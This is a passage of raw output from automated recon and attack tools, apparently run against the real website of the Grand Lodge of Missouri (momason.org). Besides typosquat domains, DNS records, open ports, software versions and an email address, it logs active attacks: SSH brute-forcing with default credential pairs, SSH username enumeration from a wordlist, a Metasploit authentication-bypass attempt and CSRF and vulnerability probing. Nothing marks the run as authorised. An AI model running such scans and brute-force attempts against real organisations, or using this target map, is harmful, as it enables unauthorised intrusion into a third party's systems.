  1416. Homoglyphs mornason.org ? org
  1417. Homoglyphs rnomason.org ? org
  1418. Homoglyphs rnornason.org ? org
  1419. Wrong TLD momason.ca ? ca
  1420. Wrong TLD momason.ch ? ch
  1421. Wrong TLD momason.com 69.172.201.153 US,UNITED STATES mx247.in-mx.net com
  1422. Wrong TLD momason.de ? de
  1423. Wrong TLD momason.edu ? edu
  1424. Wrong TLD momason.es ? es
  1425. Wrong TLD momason.fr ? fr
  1426. Wrong TLD momason.it ? it
  1427. Wrong TLD momason.jp ? jp
  1428. Wrong TLD momason.net 205.178.189.131 US,UNITED STATES net
  1429. Wrong TLD momason.nl ? nl
  1430. Wrong TLD momason.no ? no
  1431. Wrong TLD momason.ru ? ru
  1432. Wrong TLD momason.se ? se
  1433. Wrong TLD momason.us ? us
  1434. ######################################################################################################################################
  1435. [*] Processing domain momason.org
  1436. [*] Using system resolvers ['10.101.0.243', '192.168.0.1', '2001:18c0:121:6900:724f:b8ff:fefd:5b6a']
  1437. [+] Getting nameservers
  1438. 207.204.21.147 - ns94.worldnic.com
  1439. 207.204.40.147 - ns93.worldnic.com
  1440. [-] Zone transfer failed
  1441.  
  1442. [+] TXT records found
  1443. "v=spf1 include:spf.protection.outlook.com -all"
  1444.  
  1445. [+] MX records found, added to target list
  1446. 0 momason-org.mail.protection.outlook.com.
  1447.  
  1448. [+] Wildcard domain found - 45.40.155.175
  1449. [*] Scanning momason.org for A records
  1450. 52.112.192.11 - sip.momason.org
  1451. 52.97.186.120 - autodiscover.momason.org
  1452. 52.97.232.216 - autodiscover.momason.org
  1453. 52.97.189.72 - autodiscover.momason.org
  1454. 52.97.232.200 - autodiscover.momason.org
  1455. 13.58.170.99 - my.momason.org
  1456.  
  1457. #####################################################################################################################################
  1458. WARNING: Duplicate port number(s) specified. Are you alert enough to be using Nmap? Have some coffee or Jolt(tm).
  1459. Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-24 17:53 EDT
  1460. NSE: Loaded 45 scripts for scanning.
  1461. Initiating Parallel DNS resolution of 1 host. at 17:53
  1462. Completed Parallel DNS resolution of 1 host. at 17:53, 11.12s elapsed
  1463. Initiating SYN Stealth Scan at 17:53
  1464. Scanning momason.org (45.40.155.175) [496 ports]
  1465. Discovered open port 443/tcp on 45.40.155.175
  1466. Discovered open port 22/tcp on 45.40.155.175
  1467. Discovered open port 80/tcp on 45.40.155.175
  1468. Completed SYN Stealth Scan at 17:54, 11.01s elapsed (496 total ports)
  1469. Initiating Service scan at 17:54
  1470. Scanning 3 services on momason.org (45.40.155.175)
  1471. Completed Service scan at 17:54, 16.79s elapsed (3 services on 1 host)
  1472. Initiating OS detection (try #1) against momason.org (45.40.155.175)
  1473. Retrying OS detection (try #2) against momason.org (45.40.155.175)
  1474. NSE: Script scanning 45.40.155.175.
  1475. Initiating NSE at 17:54
  1476. Completed NSE at 17:54, 4.78s elapsed
  1477. Initiating NSE at 17:54
  1478. Completed NSE at 17:54, 3.08s elapsed
  1479. Nmap scan report for momason.org (45.40.155.175)
  1480. Host is up (0.24s latency).
  1481. rDNS record for 45.40.155.175: ip-45-40-155-175.ip.secureserver.net
  1482. Not shown: 493 filtered ports
  1483. Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
  1484. PORT STATE SERVICE VERSION
  1485. 22/tcp open ssh OpenSSH 7.5 (protocol 2.0)
  1486. 80/tcp open http-proxy HAProxy http proxy 1.3.1 or later
  1487. 443/tcp open ssl/https openresty
  1488. Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
  1489. Device type: general purpose|storage-misc|firewall
  1490. Running (JUST GUESSING): Linux 2.6.X|3.X (88%), Synology DiskStation Manager 5.X (87%), WatchGuard Fireware 11.X (86%)
  1491. OS CPE: cpe:/o:linux:linux_kernel:2.6.32 cpe:/o:linux:linux_kernel:3.10 cpe:/o:linux:linux_kernel cpe:/a:synology:diskstation_manager:5.1 cpe:/o:watchguard:fireware:11.8
  1492. Aggressive OS guesses: Linux 2.6.32 (88%), Linux 2.6.32 or 3.10 (88%), Linux 2.6.39 (88%), Linux 3.1 - 3.2 (87%), Synology DiskStation Manager 5.1 (87%), Linux 3.4 (86%), WatchGuard Fireware 11.8 (86%)
  1493. No exact OS matches for host (test conditions non-ideal).
  1494. Uptime guess: 49.189 days (since Fri Mar 6 12:22:01 2020)
  1495. TCP Sequence Prediction: Difficulty=256 (Good luck!)
  1496. IP ID Sequence Generation: All zeros
  1497. Service Info: Device: load balancer
  1498. #####################################################################################################################################
  1499. Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-24 17:54 EDT
  1500. NSE: Loaded 45 scripts for scanning.
  1501. Initiating Parallel DNS resolution of 1 host. at 17:54
  1502. Completed Parallel DNS resolution of 1 host. at 17:54, 11.12s elapsed
  1503. Initiating UDP Scan at 17:54
  1504. Scanning momason.org (45.40.155.175) [15 ports]
  1505. Completed UDP Scan at 17:54, 5.05s elapsed (15 total ports)
  1506. Initiating Service scan at 17:54
  1507. Scanning 15 services on momason.org (45.40.155.175)
  1508. Service scan Timing: About 6.67% done; ETC: 18:19 (0:22:38 remaining)
  1509. Completed Service scan at 17:56, 102.59s elapsed (15 services on 1 host)
  1510. Initiating OS detection (try #1) against momason.org (45.40.155.175)
  1511. Retrying OS detection (try #2) against momason.org (45.40.155.175)
  1512. NSE: Script scanning 45.40.155.175.
  1513. Initiating NSE at 17:56
  1514. Completed NSE at 17:56, 7.56s elapsed
  1515. Initiating NSE at 17:56
  1516. Completed NSE at 17:56, 1.66s elapsed
  1517. Nmap scan report for momason.org (45.40.155.175)
  1518. Host is up (0.27s latency).
  1519. rDNS record for 45.40.155.175: ip-45-40-155-175.ip.secureserver.net
  1520.  
  1521. PORT STATE SERVICE VERSION
  1522. 53/udp open|filtered domain
  1523. 67/udp open|filtered dhcps
  1524. 68/udp open|filtered dhcpc
  1525. 69/udp open|filtered tftp
  1526. 88/udp open|filtered kerberos-sec
  1527. 123/udp open|filtered ntp
  1528. 137/udp open|filtered netbios-ns
  1529. 138/udp open|filtered netbios-dgm
  1530. 139/udp open|filtered netbios-ssn
  1531. 161/udp open|filtered snmp
  1532. 162/udp open|filtered snmptrap
  1533. 389/udp open|filtered ldap
  1534. 500/udp open|filtered isakmp
  1535. 520/udp open|filtered route
  1536. 2049/udp open|filtered nfs
  1537. Too many fingerprints match this host to give specific OS details
  1538. ######################################################################################################################################
  1539. # general
  1540. (gen) banner: SSH-2.0-OpenSSH_7.5
  1541. (gen) software: OpenSSH 7.5
  1542. (gen) compatibility: OpenSSH 7.3+, Dropbear SSH 2016.73+
  1543. (gen) compression: enabled ([email protected])
  1544.  
  1545. # key exchange algorithms
  1546. (kex) curve25519-sha256 -- [warn] unknown algorithm
  1547. (kex) [email protected] -- [info] available since OpenSSH 6.5, Dropbear SSH 2013.62
  1548. (kex) ecdh-sha2-nistp256 -- [fail] using weak elliptic curves
  1549. `- [info] available since OpenSSH 5.7, Dropbear SSH 2013.62
  1550. (kex) ecdh-sha2-nistp384 -- [fail] using weak elliptic curves
  1551. `- [info] available since OpenSSH 5.7, Dropbear SSH 2013.62
  1552. (kex) ecdh-sha2-nistp521 -- [fail] using weak elliptic curves
  1553. `- [info] available since OpenSSH 5.7, Dropbear SSH 2013.62
  1554. (kex) diffie-hellman-group-exchange-sha256 -- [warn] using custom size modulus (possibly weak)
  1555. `- [info] available since OpenSSH 4.4
  1556. (kex) diffie-hellman-group16-sha512 -- [info] available since OpenSSH 7.3, Dropbear SSH 2016.73
  1557. (kex) diffie-hellman-group18-sha512 -- [info] available since OpenSSH 7.3
  1558. (kex) diffie-hellman-group14-sha256 -- [info] available since OpenSSH 7.3, Dropbear SSH 2016.73
  1559. (kex) diffie-hellman-group14-sha1 -- [warn] using weak hashing algorithm
  1560. `- [info] available since OpenSSH 3.9, Dropbear SSH 0.53
  1561.  
  1562. # host-key algorithms
  1563. (key) ssh-rsa -- [info] available since OpenSSH 2.5.0, Dropbear SSH 0.28
  1564. (key) rsa-sha2-512 -- [info] available since OpenSSH 7.2
  1565. (key) rsa-sha2-256 -- [info] available since OpenSSH 7.2
  1566. (key) ecdsa-sha2-nistp256 -- [fail] using weak elliptic curves
  1567. `- [warn] using weak random number generator could reveal the key
  1568. `- [info] available since OpenSSH 5.7, Dropbear SSH 2013.62
  1569. (key) ssh-ed25519 -- [info] available since OpenSSH 6.5
  1570.  
  1571. # encryption algorithms (ciphers)
  1572. (enc) [email protected] -- [info] available since OpenSSH 6.5
  1573. `- [info] default cipher since OpenSSH 6.9.
  1574. (enc) aes128-ctr -- [info] available since OpenSSH 3.7, Dropbear SSH 0.52
  1575. (enc) aes192-ctr -- [info] available since OpenSSH 3.7
  1576. (enc) aes256-ctr -- [info] available since OpenSSH 3.7, Dropbear SSH 0.52
  1577. (enc) [email protected] -- [info] available since OpenSSH 6.2
  1578. (enc) [email protected] -- [info] available since OpenSSH 6.2
  1579.  
  1580. # message authentication code algorithms
  1581. (mac) [email protected] -- [warn] using small 64-bit tag size
  1582. `- [info] available since OpenSSH 6.2
  1583. (mac) [email protected] -- [info] available since OpenSSH 6.2
  1584. (mac) [email protected] -- [info] available since OpenSSH 6.2
  1585. (mac) [email protected] -- [info] available since OpenSSH 6.2
  1586. (mac) [email protected] -- [warn] using weak hashing algorithm
  1587. `- [info] available since OpenSSH 6.2
  1588. (mac) [email protected] -- [warn] using encrypt-and-MAC mode
  1589. `- [warn] using small 64-bit tag size
  1590. `- [info] available since OpenSSH 4.7
  1591. (mac) [email protected] -- [warn] using encrypt-and-MAC mode
  1592. `- [info] available since OpenSSH 6.2
  1593. (mac) hmac-sha2-256 -- [warn] using encrypt-and-MAC mode
  1594. `- [info] available since OpenSSH 5.9, Dropbear SSH 2013.56
  1595. (mac) hmac-sha2-512 -- [warn] using encrypt-and-MAC mode
  1596. `- [info] available since OpenSSH 5.9, Dropbear SSH 2013.56
  1597. (mac) hmac-sha1 -- [warn] using encrypt-and-MAC mode
  1598. `- [warn] using weak hashing algorithm
  1599. `- [info] available since OpenSSH 2.1.0, Dropbear SSH 0.28
  1600.  
  1601. # algorithm recommendations (for OpenSSH 7.5)
  1602. (rec) -ecdh-sha2-nistp521 -- kex algorithm to remove
  1603. (rec) -ecdh-sha2-nistp384 -- kex algorithm to remove
  1604. (rec) -diffie-hellman-group14-sha1 -- kex algorithm to remove
  1605. (rec) -ecdh-sha2-nistp256 -- kex algorithm to remove
  1606. (rec) -diffie-hellman-group-exchange-sha256 -- kex algorithm to remove
  1607. (rec) -ecdsa-sha2-nistp256 -- key algorithm to remove
  1608. (rec) -hmac-sha2-512 -- mac algorithm to remove
  1609. (rec) [email protected] -- mac algorithm to remove
  1610. (rec) -hmac-sha2-256 -- mac algorithm to remove
  1611. (rec) [email protected] -- mac algorithm to remove
  1612. (rec) -hmac-sha1 -- mac algorithm to remove
  1613. (rec) [email protected] -- mac algorithm to remove
  1614. (rec) [email protected] -- mac algorithm to remove
  1615. ######################################################################################################################################
  1616. Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-24 17:57 EDT
  1617. NSE: Loaded 51 scripts for scanning.
  1618. NSE: Script Pre-scanning.
  1619. Initiating NSE at 17:57
  1620. Completed NSE at 17:57, 0.00s elapsed
  1621. Initiating NSE at 17:57
  1622. Completed NSE at 17:57, 0.00s elapsed
  1623. Initiating Parallel DNS resolution of 1 host. at 17:57
  1624. Completed Parallel DNS resolution of 1 host. at 17:57, 11.12s elapsed
  1625. Initiating SYN Stealth Scan at 17:57
  1626. Scanning momason.org (45.40.155.175) [1 port]
  1627. Discovered open port 22/tcp on 45.40.155.175
  1628. Completed SYN Stealth Scan at 17:57, 0.31s elapsed (1 total ports)
  1629. Initiating Service scan at 17:57
  1630. Scanning 1 service on momason.org (45.40.155.175)
  1631. Completed Service scan at 17:57, 0.55s elapsed (1 service on 1 host)
  1632. Initiating OS detection (try #1) against momason.org (45.40.155.175)
  1633. Retrying OS detection (try #2) against momason.org (45.40.155.175)
  1634. Initiating Traceroute at 17:57
  1635. Completed Traceroute at 17:57, 3.01s elapsed
  1636. Initiating Parallel DNS resolution of 17 hosts. at 17:57
  1637. Completed Parallel DNS resolution of 17 hosts. at 17:57, 11.12s elapsed
  1638. NSE: Script scanning 45.40.155.175.
  1639. Initiating NSE at 17:57
  1640. NSE: [ssh-run 45.40.155.175:22] Failed to specify credentials and command to run.
  1641. NSE: [ssh-brute 45.40.155.175:22] Trying username/password pair: root:root
  1642. NSE: [ssh-brute 45.40.155.175:22] Trying username/password pair: admin:admin
  1643. NSE: [ssh-brute 45.40.155.175:22] Trying username/password pair: administrator:administrator
  1644. NSE: [ssh-brute 45.40.155.175:22] Trying username/password pair: webadmin:webadmin
  1645. NSE: [ssh-brute 45.40.155.175:22] Trying username/password pair: sysadmin:sysadmin
  1646. NSE: [ssh-brute 45.40.155.175:22] Trying username/password pair: netadmin:netadmin
  1647. NSE: [ssh-brute 45.40.155.175:22] Trying username/password pair: guest:guest
  1648. NSE: [ssh-brute 45.40.155.175:22] Trying username/password pair: user:user
  1649. NSE: [ssh-brute 45.40.155.175:22] Trying username/password pair: web:web
  1650. NSE: [ssh-brute 45.40.155.175:22] Trying username/password pair: test:test
  1651. NSE: [ssh-brute 45.40.155.175:22] Trying username/password pair: root:
  1652. NSE: [ssh-brute 45.40.155.175:22] Trying username/password pair: admin:
  1653. NSE: [ssh-brute 45.40.155.175:22] Trying username/password pair: administrator:
  1654. NSE: [ssh-brute 45.40.155.175:22] Trying username/password pair: webadmin:
  1655. NSE: [ssh-brute 45.40.155.175:22] Trying username/password pair: sysadmin:
  1656. NSE: [ssh-brute 45.40.155.175:22] Trying username/password pair: netadmin:
  1657. Completed NSE at 17:59, 90.88s elapsed
  1658. Initiating NSE at 17:59
  1659. Completed NSE at 17:59, 0.05s elapsed
  1660. Nmap scan report for momason.org (45.40.155.175)
  1661. Host is up (0.27s latency).
  1662. rDNS record for 45.40.155.175: ip-45-40-155-175.ip.secureserver.net
  1663.  
  1664. PORT STATE SERVICE VERSION
  1665. 22/tcp open ssh OpenSSH 7.5 (protocol 2.0)
  1666. | ssh-auth-methods:
  1667. | Supported authentication methods:
  1668. | publickey
  1669. |_ password
  1670. | ssh-hostkey:
  1671. | 2048 36:62:7a:9a:77:3b:92:28:75:aa:92:a4:13:c5:14:2b (RSA)
  1672. | ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAsfCDP/OuTv+Jh7mYpsOxCB0/9cUTYFBckODy/PzDKxOhZ6pz4co/MCWjsi4RtMuXPPGdK6qUTn3PK8NOgAwfWO9Z3xbfH0u0dv1cPrSlu5islbjNH4HZy2ojxm7ghLIzzEC/NsN82Uuiu2gCbS6oDRU3VfZdyILOHQIRoa6ossvCn1X3wM/xPch6fJbzfzT6bPZO+iRSTboPsawTtD9rJiU44idMyBNIBFbBuxNESFx7YttObOHub5TWY52lnaL0AzHeuqLPsFiUu98dSRfNyCyDzGwp3ii7l+oOj6ExFeGMUsHhcAENRAWrfyfdjSUF1qMoC03RhFgU+UUAtdKRDQ==
  1673. | 256 e6:90:e8:1a:b9:e5:94:fb:60:4e:ca:1a:ae:2d:e3:2e (ECDSA)
  1674. | ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBIqdZS2OjkpiAhLJ2ffmGUhoHT4gmcLwl6Li1Em7s9tqqnS1lSXR6Tgz7/ltQ28I6bJ5dUZ0ssCzf0uyenTWO6E=
  1675. | 256 a4:c2:3b:42:da:c9:13:70:af:1b:84:66:e4:5c:a4:a5 (ED25519)
  1676. |_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEmwblpQ44Bg2PWnmf6ENTH0dhIN4M/gQYDNzQmL0LGa
  1677. |_ssh-publickey-acceptance: ERROR: Script execution failed (use -d to debug)
  1678. |_ssh-run: Failed to specify credentials and command to run.
  1679. | vulners:
  1680. | cpe:/a:openbsd:openssh:7.5:
  1681. | CVE-2018-15919 5.0 https://vulners.com/cve/CVE-2018-15919
  1682. |_ CVE-2017-15906 5.0 https://vulners.com/cve/CVE-2017-15906
  1683. Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
  1684. Device type: general purpose
  1685. Running (JUST GUESSING): Linux 2.6.X (87%)
  1686. OS CPE: cpe:/o:linux:linux_kernel:2.6.32
  1687. Aggressive OS guesses: Linux 2.6.32 (87%), Linux 2.6.39 (86%)
  1688. No exact OS matches for host (test conditions non-ideal).
  1689. Uptime guess: 49.193 days (since Fri Mar 6 12:22:00 2020)
  1690. Network Distance: 18 hops
  1691. TCP Sequence Prediction: Difficulty=260 (Good luck!)
  1692. IP ID Sequence Generation: All zeros
  1693.  
  1694. TRACEROUTE (using port 22/tcp)
  1695. HOP RTT ADDRESS
  1696. 1 116.45 ms 10.203.2.1
  1697. 2 116.48 ms unn-89-187-165-62.cdn77.com (89.187.165.62)
  1698. 3 116.83 ms hu0-1-0-2.rcr51.b021037-0.zrh02.atlas.cogentco.com (149.11.89.129)
  1699. 4 118.41 ms be3591.ccr51.zrh02.atlas.cogentco.com (130.117.50.182)
  1700. 5 122.47 ms be3072.ccr21.muc03.atlas.cogentco.com (130.117.0.18)
  1701. 6 124.42 ms be2959.ccr41.fra03.atlas.cogentco.com (154.54.36.53)
  1702. 7 124.44 ms be3187.agr41.fra03.atlas.cogentco.com (130.117.1.117)
  1703. 8 122.09 ms telia.fra03.atlas.cogentco.com (130.117.14.198)
  1704. 9 260.41 ms ffm-bb2-link.telia.net (62.115.114.90)
  1705. 10 ...
  1706. 11 210.70 ms ash-bb2-link.telia.net (62.115.112.242)
  1707. 12 263.35 ms las-b24-link.telia.net (62.115.121.220)
  1708. 13 263.75 ms ae9.ibrsa0107-01.lax1.bb.godaddy.com (62.115.171.243)
  1709. 14 265.59 ms ip-148-72-32-16.ip.secureserver.net (148.72.32.16)
  1710. 15 266.54 ms be38.trmc0215-01.ars.mgmt.phx3.gdg (184.168.0.69)
  1711. 16 265.76 ms 97.74.255.129
  1712. 17 262.28 ms lbma1105-03.ars2.mgmt.phx3.secureserver.net (184.168.1.240)
  1713. 18 262.21 ms ip-45-40-155-175.ip.secureserver.net (45.40.155.175)
  1714.  
  1715. NSE: Script Post-scanning.
  1716. Initiating NSE at 17:59
  1717. Completed NSE at 17:59, 0.00s elapsed
  1718. Initiating NSE at 17:59
  1719. Completed NSE at 17:59, 0.00s elapsed
  1720. ######################################################################################################################################
  1721. USER_FILE => /usr/share/brutex/wordlists/simple-users.txt
  1722. RHOSTS => momason.org
  1723. RHOST => momason.org
  1724. [*] 45.40.155.175:22 - SSH - Using malformed packet technique
  1725. [*] 45.40.155.175:22 - SSH - Starting scan
  1726. [-] 45.40.155.175:22 - SSH - User 'admin' not found
  1727. [-] 45.40.155.175:22 - SSH - User 'administrator' not found
  1728. [-] 45.40.155.175:22 - SSH - User 'anonymous' not found
  1729. [-] 45.40.155.175:22 - SSH - User 'backup' not found
  1730. [-] 45.40.155.175:22 - SSH - User 'bee' not found
  1731. [-] 45.40.155.175:22 - SSH - User 'ftp' not found
  1732. [-] 45.40.155.175:22 - SSH - User 'guest' not found
  1733. [-] 45.40.155.175:22 - SSH - User 'GUEST' not found
  1734. [-] 45.40.155.175:22 - SSH - User 'info' not found
  1735. [-] 45.40.155.175:22 - SSH - User 'mail' not found
  1736. [-] 45.40.155.175:22 - SSH - User 'mailadmin' not found
  1737. [-] 45.40.155.175:22 - SSH - User 'msfadmin' not found
  1738. [-] 45.40.155.175:22 - SSH - User 'mysql' not found
  1739. [-] 45.40.155.175:22 - SSH - User 'nobody' not found
  1740. [-] 45.40.155.175:22 - SSH - User 'oracle' not found
  1741. [-] 45.40.155.175:22 - SSH - User 'owaspbwa' not found
  1742. [-] 45.40.155.175:22 - SSH - User 'postfix' not found
  1743. [-] 45.40.155.175:22 - SSH - User 'postgres' not found
  1744. [-] 45.40.155.175:22 - SSH - User 'private' not found
  1745. [-] 45.40.155.175:22 - SSH - User 'proftpd' not found
  1746. [-] 45.40.155.175:22 - SSH - User 'public' not found
  1747. [-] 45.40.155.175:22 - SSH - User 'root' not found
  1748. [-] 45.40.155.175:22 - SSH - User 'superadmin' not found
  1749. [-] 45.40.155.175:22 - SSH - User 'support' not found
  1750. [-] 45.40.155.175:22 - SSH - User 'sys' not found
  1751. [-] 45.40.155.175:22 - SSH - User 'system' not found
  1752. [-] 45.40.155.175:22 - SSH - User 'systemadmin' not found
  1753. [-] 45.40.155.175:22 - SSH - User 'systemadministrator' not found
  1754. [-] 45.40.155.175:22 - SSH - User 'test' not found
  1755. [-] 45.40.155.175:22 - SSH - User 'tomcat' not found
  1756. [-] 45.40.155.175:22 - SSH - User 'user' not found
  1757. [-] 45.40.155.175:22 - SSH - User 'webmaster' not found
  1758. [-] 45.40.155.175:22 - SSH - User 'www-data' not found
  1759. [-] 45.40.155.175:22 - SSH - User 'Fortimanager_Access' not found
  1760. [*] Scanned 1 of 1 hosts (100% complete)
  1761. [*] Auxiliary module execution completed
  1762. #####################################################################################################################################
  1763. RHOSTS => momason.org
  1764. RHOST => momason.org
  1765. LHOST => 127.0.0.1
  1766. LPORT => 4444
  1767. [*] 45.40.155.175:22 - Attempting authentication bypass
  1768. [*] Scanned 1 of 1 hosts (100% complete)
  1769. [*] Auxiliary module execution completed
  1770. + -- --=[Port 23 closed... skipping.
  1771. + -- --=[Port 25 closed... skipping.
  1772. + -- --=[Port 53 closed... skipping.
  1773. + -- --=[Port 67 closed... skipping.
  1774. + -- --=[Port 68 closed... skipping.
  1775. + -- --=[Port 69 closed... skipping.
  1776. + -- --=[Port 79 closed... skipping.
  1777. + -- --=[Port 80 opened... running tests...
  1778. ====================================================================================•x[2020-04-24](18:00)x•
  1779. CHECKING HTTP HEADERS AND METHODS
  1780. ====================================================================================•x[2020-04-24](18:00)x•
  1781. HTTP/1.1 200 OK
  1782. X-XSS-Protection: 1; mode=block
  1783. X-Content-Type-Options: nosniff
  1784. Content-Type: text/html; charset=UTF-8
  1785. X-Cacheable: YES:Forced
  1786. Date: Fri, 24 Apr 2020 22:00:52 GMT
  1787. Age: 46720
  1788. Vary: Accept-Encoding, User-Agent
  1789. X-Cache: cached
  1790. X-Cache-Hit: HIT
  1791. X-Backend: all_requests
  1792. Accept-Ranges: none
  1793. #####################################################################################################################################
  1794. <!--[if IE 7]>
  1795. <!--[if IE 8]>
  1796. <!--[if !(IE 7) | !(IE 8) ]><!-->
  1797. <!--<![endif]-->
  1798. <!--[if lt IE 9]>
  1799. </header><!-- #masthead -->
  1800. </div> </div><!-- #banner_wrapper -->
  1801. </div><!-- .entry-content -->
  1802. </article><!-- #post -->
  1803. </div><!-- #content -->
  1804. </div><!--end of leftPan-->
  1805. </div><!-- #footer-area -->
  1806. </div><!-- #primary -->
  1807. </div><!-- #primary-wrap -->
  1808. </div><!--end content-wrap-->
  1809. </div><!-- #main -->
  1810. <div itemscope itemtype="http://schema.org/LocalBusiness" class="schema"><span itemprop="name" class="name">6033 Masonic Drive, Suite B </span><br><span itemprop="addressLocality">Columbia</span>,<span itemprop="addressRegion"> MO</span><span itemprop="postalCode"> 65202-6568</span><br><br><span itemprop="telephone"><a href="tel:573-474-8561">Phone: 573-474-8561</a></span></div><!--end .schema-->
  1811. <div id="footer-bottom"><div id="credits" class="content-area"><div id="client"><div class="copy">&copy; 2020 All Rights Reserved The Grand Lodge of Missouri</div><!--end .copy--></div><!--end #client--><div id="pb">Designed by &nbsp;&nbsp;<a href="http://grandviewinitiative.com/" target="new"><img style="vertical-align: middle;" src="http://momason.org/wp-content/themes/molodge/images/GV_fav.png">Grand View Software</a></div><!--end #pb--><div class="clearfloats"></div><!--Left for Safety--></div><!--end credits--></div><!--end #footer-bottom-->
  1812. </footer><!-- #colophon -->
  1813. </div><!-- #page -->
  1814. </div><!-- end outer_wrapper -->
  1815. <!-- Custom Facebook Feed JS -->
  1816. #####################################################################################################################################
  1817. http://momason.org
  1818. http://momason.org/wp-content/themes/molodge/images/membership-request.png
  1819. http://momason.org/wp-content/themes/molodge/images/MOGL_logo.png
  1820. http://momason.org/wp-content/themes/molodge/js/html5.js
  1821. http://momason.org/wp-content/uploads/2017/09/Stan-Brown-Sm.jpg
  1822. http://schema.org/LocalBusiness
  1823. https://my.momason.org/public_lodges/inquiry
  1824. https://use.typekit.net/xek5twl.js
  1825. image/x-icon
  1826. //netdna.bootstrapcdn.com/font-awesome/4.4.0/css/font-awesome.min.css
  1827. text/css
  1828. text/javascript
  1829. #####################################################################################################################################
  1830. http://momason.org [200 OK] Bootstrap, Country[RESERVED][ZZ], Email[[email protected]], Google-Analytics[Universal][UA-71879031-1], HTML5, IP[45.40.155.175], JQuery, MetaGenerator[WordPress 5.4], Script[text/javascript], Title[The Grand Lodge of Missouri], UncommonHeaders[x-content-type-options,x-cacheable,x-cache-hit,x-backend], WordPress[5.4], X-Backend[all_requests], X-XSS-Protection[1; mode=block]
  1831. #####################################################################################################################################
  1832.  
  1833. wig - WebApp Information Gatherer
  1834.  
  1835.  
  1836. Scanning http://momason.org...
  1837. _______________________________ SITE INFO _______________________________
  1838. IP Title
  1839. 45.40.155.175 The Grand Lodge of Missouri
  1840.  
  1841. ________________________________ VERSION ________________________________
  1842. Name Versions Type
  1843. WordPress 5.4 CMS
  1844.  
  1845. ______________________________ INTERESTING ______________________________
  1846. URL Note Type
  1847. /robots.txt robots.txt index Interesting
  1848. /readme.html Readme file Interesting
  1849. /login/ Login Page Interesting
  1850.  
  1851. _________________________________ TOOLS _________________________________
  1852. Name Link Software
  1853. wpscan https://github.com/wpscanteam/wpscan WordPress
  1854. CMSmap https://github.com/Dionach/CMSmap WordPress
  1855.  
  1856. _________________________________________________________________________
  1857. Time: 61.8 sec Urls: 261 Fingerprints: 40401
  1858. #####################################################################################################################################
  1859. Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-24 18:05 EDT
  1860. NSE: Loaded 161 scripts for scanning.
  1861. NSE: Script Pre-scanning.
  1862. Initiating NSE at 18:05
  1863. Completed NSE at 18:05, 0.00s elapsed
  1864. Initiating NSE at 18:05
  1865. Completed NSE at 18:05, 0.00s elapsed
  1866. Initiating Parallel DNS resolution of 1 host. at 18:05
  1867. Completed Parallel DNS resolution of 1 host. at 18:05, 11.12s elapsed
  1868. Initiating SYN Stealth Scan at 18:05
  1869. Scanning momason.org (45.40.155.175) [1 port]
  1870. Discovered open port 80/tcp on 45.40.155.175
  1871. Completed SYN Stealth Scan at 18:05, 0.30s elapsed (1 total ports)
  1872. Initiating Service scan at 18:05
  1873. Scanning 1 service on momason.org (45.40.155.175)
  1874. Completed Service scan at 18:05, 16.81s elapsed (1 service on 1 host)
  1875. Initiating OS detection (try #1) against momason.org (45.40.155.175)
  1876. Retrying OS detection (try #2) against momason.org (45.40.155.175)
  1877. Initiating Traceroute at 18:06
  1878. Completed Traceroute at 18:06, 3.01s elapsed
  1879. Initiating Parallel DNS resolution of 17 hosts. at 18:06
  1880. Completed Parallel DNS resolution of 17 hosts. at 18:06, 11.73s elapsed
  1881. NSE: Script scanning 45.40.155.175.
  1882. Initiating NSE at 18:06
  1883. Completed NSE at 18:07, 90.34s elapsed
  1884. Initiating NSE at 18:07
  1885. Completed NSE at 18:07, 2.32s elapsed
  1886. Nmap scan report for momason.org (45.40.155.175)
  1887. Host is up (0.27s latency).
  1888. rDNS record for 45.40.155.175: ip-45-40-155-175.ip.secureserver.net
  1889.  
  1890. PORT STATE SERVICE VERSION
  1891. 80/tcp open http-proxy HAProxy http proxy 1.3.1 or later
  1892. | http-brute:
  1893. |_ Path "/" does not require authentication
  1894. |_http-chrono: Request times for /; avg: 2502.78ms; min: 1744.63ms; max: 3248.96ms
  1895. | http-csrf:
  1896. | Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=momason.org
  1897. | Found the following possible CSRF vulnerabilities:
  1898. |
  1899. | Path: http://momason.org:80/
  1900. | Form id:
  1901. | Form action: http://momason.org
  1902. |
  1903. | Path: http://momason.org:80/resources/
  1904. | Form id:
  1905. | Form action: http://momason.org
  1906. |
  1907. | Path: http://momason.org:80/resources/forms/
  1908. | Form id:
  1909. | Form action: http://momason.org
  1910. |
  1911. | Path: http://momason.org:80/scholarships/
  1912. | Form id:
  1913. | Form action: http://momason.org
  1914. |
  1915. | Path: http://momason.org:80/programs/
  1916. | Form id:
  1917. | Form action: http://momason.org
  1918. |
  1919. | Path: http://momason.org:80/resources/links/
  1920. | Form id:
  1921. | Form action: http://momason.org
  1922. |
  1923. | Path: http://momason.org:80/officers/
  1924. | Form id:
  1925. |_ Form action: http://momason.org
  1926. |_http-date: Fri, 24 Apr 2020 22:06:19 GMT; -2s from local time.
  1927. |_http-devframework: Couldn't determine the underlying framework or CMS. Try increasing 'httpspider.maxpagecount' value to spider more pages.
  1928. |_http-dombased-xss: Couldn't find any DOM based XSS.
  1929. | http-errors:
  1930. | Spidering limited to: maxpagecount=40; withinhost=momason.org
  1931. | Found the following error pages:
  1932. |
  1933. | Error Code: 400
  1934. |_ http://momason.org:80
  1935. |_http-feed: ERROR: Script execution failed (use -d to debug)
  1936. |_http-fetch: Please enter the complete path of the directory to save data in.
  1937. |_http-generator: WordPress 5.4
  1938. | http-grep:
  1939. | (1) http://momason.org:80/:
  1940. | (1) email:
  1941. |_ + [email protected]
  1942. | http-headers:
  1943. | X-XSS-Protection: 1; mode=block
  1944. | X-Content-Type-Options: nosniff
  1945. | Content-Type: text/html; charset=UTF-8
  1946. | X-Cacheable: YES:Forced
  1947. | Date: Fri, 24 Apr 2020 22:06:31 GMT
  1948. | Age: 47059
  1949. | Connection: close
  1950. | Vary: Accept-Encoding, User-Agent
